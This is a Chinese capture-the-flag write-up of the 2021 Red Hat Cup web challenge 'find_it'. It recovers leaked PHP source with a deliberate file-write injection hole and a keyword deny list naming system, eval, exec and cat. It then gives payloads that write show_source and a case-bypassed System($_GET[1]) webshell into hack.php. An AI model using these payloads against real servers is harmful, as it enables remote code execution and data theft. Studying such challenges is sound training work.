find_it

发表于 2021-05-25 分类于 Challenge， 2021， 第四届红帽杯网络安全大赛， Web
Challenge | 2021 | 第四届红帽杯网络安全大赛 | Web | find_it

点击此处获得更好的阅读体验

WriteUp来源

来自Venom战队

题目考点

- *代码审计*
- *备份文件泄露*

解题思路

扫描

扫目录发现robots.txt

然后访问1ndexx.php发现是404，尝试扫缓存发现存在.1ndexx.php.swp

之后下载swp文件读取到源码

```
<?php $link = mysql_connect('localhost', 'root'); ?>
<html>
<head>
  <title>Hello worldd!</title>
  <style>
  body {
    background-color: white;
    text-align: center;
    padding: 50px;
    font-family: "Open Sans","Helvetica Neue",Helvetica,Arial,sans-serif;
  }

  #logo {
    margin-bottom: 40px;
  }
  </style>
</head>
<body>
  <img id="logo" src="logo.png" />
  <h1><?php echo "Hello My freind!"; ?></h1>
  <?php if($link) { ?>
    <h2>I Can't view my php files?!</h2>
  <?php } else { ?>
    <h2>MySQL Server version: <?php echo mysql_get_server_info(); ?></h2>
  <?php } ?>
</body>
</html>
<?php

#Really easy...

$file=fopen("flag.php","r") or die("Unable 2 open!");

$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));


$hack=fopen("hack.php","w") or die("Unable 2 open");

$a=$_GET['code'];

if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc
  die("you die");
}
if(strlen($a)>33){
  die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);

fclose($file);
fclose($hack);
?>
```

代码分析

代码中首先读取了flag写入了hack.php，之后从GET中获取code参数的值，经过preg_match检查后写在后面，最大可写入长度为32字符

非预期

传入的code会直接写入hack.php，但是有一些过滤，直接写入phpinfo()

之后在phpinfo里发现flag

预期解1

利用show_source()函数来将文件读出来即可

```
http://challenge-d035f64d1315c556.sandbox.ctfhub.com:10080/?code=<?php show_source(__FILE__);?>
```

之后访问hack.php即可

预期解2

代码中preg_match并没有忽略大小写，而php函数是可以忽略大小写的，所以可以使用System()来绕过正则检查

```
1 http://challenge-d035f64d1315c556.sandbox.ctfhub.com:10080/?code=<?php System($_GET[1]);?>
```

之后直接执行命令即可

Challenge # 2021 # Web # 第四届红帽杯网络安全大赛
framework
manager